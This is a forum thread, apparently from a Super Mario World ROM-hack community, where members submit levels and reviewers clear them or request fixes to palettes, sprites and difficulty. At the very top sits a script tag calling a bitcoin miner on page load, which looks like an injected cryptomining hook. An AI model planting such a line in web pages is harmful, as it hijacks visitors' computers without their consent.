<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectsmbx communitysmw central

Level Clearing

Anthrax 2 Multiply Themodynamics
User avatar
limepie20
Posts: 0
Joined: 9 years ago
Location: Doesn't Matter

Re: Level Clearing

Postby limepie20 » 7 years ago

Paralars:
You really improved the first half. I don't see any immediate errors in it now. You just need to fix the second half now. That weird "employees only" thing was still there, so I imagine you haven't touched that half yet.

User avatar
Paralars
Posts: 0
Joined: 9 years ago
Location: down there (49°1'59"N 8°22'12"O)

Re: Level Clearing

Postby Paralars » 7 years ago

I changed a few boring parts in the second half and removed the lakitu part completely and replaced it with something else, it was just unclean with the cloud and all that.

I actually thought the "employees only" sign was a funny idea, because it looks like Demo actually follows the rules, even though there is no real barrier.
I had already changed that part to have a purpose, but now I changed it again.

I don't think there is much more that needs to be "fixed" now.

http://www.mediafire.com/?cyfafbs3oua8cjn
Image

User avatar
Paralars
Posts: 0
Joined: 9 years ago
Location: down there (49°1'59"N 8°22'12"O)

Re: Level Clearing

Postby Paralars » 7 years ago

well, there isn't much new stuff that would need approval, I'm just wondering if there is anything that REALLY needs to go.
I'm aware the music cracks a few times, but I think two or three 'bleep's in the level are tolerable when the music is fitting (which I think it is, at least I didn't find anything better in the rom)
(The bonus area is already fixed)

http://www.mediafire.com/download.php?cyfafbs3oua8cjn

Sorry for being impatient
Image

SyStemkraSh5642
Posts: 0
Joined: 10 years ago

Re: Level Clearing

Postby SyStemkraSh5642 » 7 years ago

@ Paralars: Sorry for being late and lazy, but your level is cleared. It's definitely one of the cooler levels around. However, at the area with the "Employees Only" sign, the second time I threw a shell in to hit the block, the shell passed through the block and didn't hit it for some reason. It might be fixed if you move it up a block or so.

capefeather
Posts: 0
Joined: 9 years ago

Re: Level Clearing

Postby capefeather » 7 years ago

Really sorry for the delay of over two months. Exams + waning interest in the level + life issues... Part of me has wanted to swear off using SMW for platform level making. However, I acknowledge that it does have its charm, even if it's incredibly frustrating to learn on-the-fly and thus hard even to make practice levels with what little innate motivation I have. Another part of me also thought that maybe I'd been silently removed from the level list, since I never got any PMs during the off-time.

Anyway here it is again. Part of what made me stop progress on this was that I couldn't figure out what part of the palette the fireballs used. It's an obvious appearance problem to have red fireballs coming out of green deadly plant secretions or whatever the "lava" is supposed to be. I'm still not sure what's going on with the fire traps, either.

http://bin.smwcentral.net/u/12461/1a.ips

P.S. I forgot to move the midpoint in an earlier draft and I noticed that it had already been downloaded twice before I replaced it with the version with the moved midpoint. Just so people know.

User avatar
Septentrion Pleiades
Banned
Posts: 0
Joined: 8 years ago
First name: Stephen
Location: Holstaurus Heaven

Re: Level Clearing

Postby Septentrion Pleiades » 7 years ago

Edit: Yeap wrong thread
Last edited by Septentrion Pleiades on 30 May 2012, 22:24, edited 1 time in total.
Image
Image
Image

SyStemkraSh5642
Posts: 0
Joined: 10 years ago

Re: Level Clearing

Postby SyStemkraSh5642 » 7 years ago

@ capefeather:
I ran into two problems with the level.
Image
Do you plan on leaving the heads of the piranhas black?
Image
It's a blind jump from this net to the one below.
Your level is cleared, but fix these things first.

@ Septentrion Pleiades: Are we talking about the same level? You said something about capefeather's level being a switch palace level.

User avatar
Frozelar
Retired Screamer
Posts: 5
Joined: 8 years ago
Location: The Place You Wish You Were

Re: Level Clearing

Postby Frozelar » 7 years ago

Well alrightie then... I got assigned the selection room and all four switch rooms for the switch palaces. Pretty nervous man. I hope my stuff checks out okay.

Welp. http://www.mediafire.com/?8hyjtt946qpyub0

Thank you!

User avatar
limepie20
Posts: 0
Joined: 9 years ago
Location: Doesn't Matter

Re: Level Clearing

Postby limepie20 » 7 years ago

frostyfish:
Hey man, I think you did a pretty nice job. No need to worry. There were a few graphical issues I'd like you to fix though. In the blue room, the grabbable blocks were too dark, and the switch itself looked odd. The white was a big contrast from the blue, and the main switch part above the base seemed to dark. Also, all of the switch's sprite palettes are different from their block palettes. By that I mean when you press the switch it becomes brighter. You have to edit the palettes for the sprites too, so that doesn't happen. Those palettes are somehwere between 8 and F. Just look for the red, green, blue, and yellow there. Also, there's one last thing I'd like to address. The blue and yellow rooms shouldn't have pipe entrances because demo goes through a door to get there. Otherwise, it was a nice surprise with only minor errors.
After you fix all of this, it'll be ready to be submitted. Make sure the readme in your submission explains what everything is clearly, so Systemkrash understands he is inserted a part of the switch levels.

User avatar
Lv27MarkerMMan
Posts: 7
Joined: 9 years ago

Re: Level Clearing

Postby Lv27MarkerMMan » 7 years ago

Here is what I have for my switch palace portion. It's been through the testing thread. Do I need to make modifications or am I ready to submit?
Attachments
markerswitch.ips
(480.9 KiB) Downloaded 31 times
Don't be afraid to check out my Youtube channel.
I am making let's plays now!

User avatar
Isocitration
Posts: 34
Joined: 9 years ago

Re: Level Clearing

Postby Isocitration » 7 years ago

I think my switch level might be ready for clearing as well.

http://dl.dropbox.com/u/68067696/LevelFA-.ips
raocow wrote:you are dommed iso.

User avatar
Frozelar
Retired Screamer
Posts: 5
Joined: 8 years ago
Location: The Place You Wish You Were

Re: Level Clearing

Postby Frozelar » 7 years ago

Mmkay so as I said before just changing the pressed switch sprite's palette won't work because parts of Demo uses the same palette, so I had to do bunches of fiddling around with a lot of other palettes to get the (mostly) desired results. I say "mostly" because I had to make some compromises.

So in other words I tried my hardest. ;)

hoHO~

http://www.mediafire.com/?rdotq6vbr54xooo <don't mind all the other stuff in there, this is gonna be the file I put in the submissions thread if it checks out okay here.

Thank you!

EDIT: Hmm, Isocitration very generously gave me some criticism and said the yellow switch could be more yellower, so I just brightened the color of the switch a bit. So that's all you'll be missing with the above download. :)

User avatar
Septentrion Pleiades
Banned
Posts: 0
Joined: 8 years ago
First name: Stephen
Location: Holstaurus Heaven

Re: Level Clearing

Postby Septentrion Pleiades » 7 years ago

Ready for judgement. I made changes based on suggestions.

http://www.mediafire.com/?4lx86d79drx5c5i

Level below yoshi's house.
Image
Image
Image

SyStemkraSh5642
Posts: 0
Joined: 10 years ago

Re: Level Clearing

Postby SyStemkraSh5642 » 7 years ago

@ FrostyFish88:
You're cleared, but I've got two nitpicks that I don't think limepie (Man I never would've caught those) addressed. First off, did you set the Red Switch room's music to the Boss Battle song intentionally? Second, the Yellow Switch room's background pillars look similar to the ones in the foreground and it somewhat screws with the eyes. Can I ask you to make them contrast a bit more, please? Also, you don't have to put all of your files/resources in the Level Clearing thread, since I have to ask you to post in the Level Submissions thread.
@ Lv27MarkerMMan:
You're cleared, but I've ran into a few problems, two of them concerning the Sumo Bro.
Image
First off, the flame can somehow spawn a shell. I'm assuming that the shell actually came from the top-left side of the screen where it'd be kicked by the blue shell-less koopa.
Image
Second, the Sumo Bro somehow teleported from the top floor to the bottom through the same method as the first.
Third and lastly, are the body of the Chucks/Charlies and the Pokeys supposed to be made of the fireball sprite, or is it a glitched sort of thing?
@ Isocitration:
You're cleared, but you should get this checked out.
Image
For some strange reason, layer 2 shifted up and down at different spots in each of my runs.
@ Septentrion Pleiades:
You're cleared, although I think it'd be better if you remove the Dry Bones in this area:
Image
It's an extremely precise jump to make and there's very, very little room for error. Much less if you're Super-sized.
Also, I'm adding more to my Switch Palace section since it's too short and easy compared to the others.

User avatar
Lv27MarkerMMan
Posts: 7
Joined: 9 years ago

Re: Level Clearing

Postby Lv27MarkerMMan » 7 years ago

@SyStemkraSh5642

The sumo bro's issues occurred when I tested the level as well. I did not think they really mattered that much, because they do not occur more than they occur, and even when they do occur it is never to the player's misfortune in an unfair way. Also I would imagine that the player would get past this part quickly. If someone knows how to fix these issues with these guys I would like to know about how to fix it.

The sprites are correct. They are supposed to be made of plasma (what stars are made of), at least in my imagination. I didn't think that the universal versions (Flowers/Totem poles) of these guys fit with my level at all.
Don't be afraid to check out my Youtube channel.
I am making let's plays now!

User avatar
limepie20
Posts: 0
Joined: 9 years ago
Location: Doesn't Matter

Re: Level Clearing

Postby limepie20 » 7 years ago

SyStemkraSh5642 wrote:@ FrostyFish88: First off, did you set the Red Switch room's music to the Boss Battle song intentionally?
Actually, the music will be changed for all the switch palace levels at the end, so what it currently is doesn't matter.

User avatar
Frozelar
Retired Screamer
Posts: 5
Joined: 8 years ago
Location: The Place You Wish You Were

Re: Level Clearing

Postby Frozelar » 7 years ago

@SyStemkraSh: Alrightie, I'll fix the problem in the yellow switch room. And I am aware that I need to post in the submission thread, I just have all that stuff there so that if there weren't any problems with this one I could just submit this file straight to submissions. Although I guess I could have taken them out and been less lazy about it, sorry. :P

User avatar
Jolpengammler
Jipples, the friendly dog
Posts: 66
Joined: 7 years ago
Location: German Town
Contact:

Re: Level Clearing

Postby Jolpengammler » 7 years ago

Switch Palace Level 123
I think it's ready
"Ban all the facial hair from life." ~ Horikawa Otane, 2014
"You're shitting with me!" ~ Isocitration, 2014
"skype adds think I'm a lady looking for 40 years old men" ~ raocow, 2016
"i always run up and down the stairs because i want to die" ~Isocitration, 2016

Depressed Horse:
Image

User avatar
Wyatt
Posts: 20
Joined: 10 years ago
Location: NL, Canada

Re: Level Clearing

Postby Wyatt » 7 years ago

I hope this is ready for clearing! As before, enter the door in the parrot house.

Limepie, this is almost identical to the last version, I just optimized stuff and spaced out the last two gas bubbles so you can go between them more easily. (The easiest way before was to spinjump between or over them.) Also, I'm using a generator to do the layer 2 thing: is it possible to convert that to levelasm? I tried getting levelasm to work myself and could only make it work on OW levels, not sublevels. If it's not possible then I suppose I'd like to reserve a sprite slot; I'm using sprite DA right now.

User avatar
limepie20
Posts: 0
Joined: 9 years ago
Location: Doesn't Matter

Re: Level Clearing

Postby limepie20 » 7 years ago

Wyatt:
Everything seems fine; you're cleared. Also, converting the sprite to levelasm form is very possible. If you pm me the sprite, I can put it into levelasm form, so you can submit the level like that. Also, when you submit your level, can you include the song used and also this one? Those are the two songs we will use for the switch levels, and it would be nice to have them inserted into the rom.

User avatar
Wyatt
Posts: 20
Joined: 10 years ago
Location: NL, Canada

Re: Level Clearing

Postby Wyatt » 7 years ago

Hooray! Thanks for clearing me!

Jolpengammler: I love your style of level design. You're cleared!

SyStemkraSh5642
Posts: 0
Joined: 10 years ago

Re: Level Clearing

Postby SyStemkraSh5642 » 7 years ago

I would've put this in clearing earlier, but I tried to optimize the level and I reduced the level's size by about 10 KB.
Here's F9 again.
Link

User avatar
Wyatt
Posts: 20
Joined: 10 years ago
Location: NL, Canada

Re: Level Clearing

Postby Wyatt » 7 years ago

Systemkrash: I have no idea why, but when I started the level, my first instinct was to walk left. I think I thought the background was a wall or something? Looking back it was probably just me being stupid, but I figured it was worth mentioning in case anyone else reacts the same way. Anyway, the level was awesome; really fun, unique, nice-looking and a great difficulty. You're cleared.

User avatar
tenta
Posts: 19
Joined: 10 years ago
First name: Alex
Location: Quebec

Re: Level Clearing

Postby tenta » 7 years ago

Septentrion said i can put my level to clearing again after a fix a little thing.

Removed the watermelon thing that make you run on wall when you run on it.
Also i removed every homing bullets (There is only a generator now).

La joie de glisser
Image

User avatar
Wyatt
Posts: 20
Joined: 10 years ago
Location: NL, Canada

Re: Level Clearing

Postby Wyatt » 7 years ago

There are 6 parrot coins. A2 appears on screen 0C and screen 12.

The slopes on screen 0D and 0E should extend down a tile further.

There are still homing bullets, is this an old version? If you really want homing bullets, use homing killer (sprite 3A). The regular homing bullet is bullshit and shouldn't be in the rom in the first place.

I don't like the way the chest is gotten. It's boring to have to run all that way with no danger around. You should make the entrance through the floor at screen 1A instead of through the ceiling at screen 16.

Honestly, the invisible coin blocks are still not fun. They're effectively invisible; I can't see them even if I know they're there. It makes the level frustrating, the player has to take their time looking for them and they're so hard to see that they never find them. I've already given you two ways you could go about fixing this (indicate blocks with weird architechture like ground-embedded cement blocks, or make them look like background stars). If you don't like those solutions, you're gonna have to come up with something else, because the coin blocks aren't fun to deal with now.


Return to “A2MT”

Who is online

Users browsing this forum: No registered users and 0 guests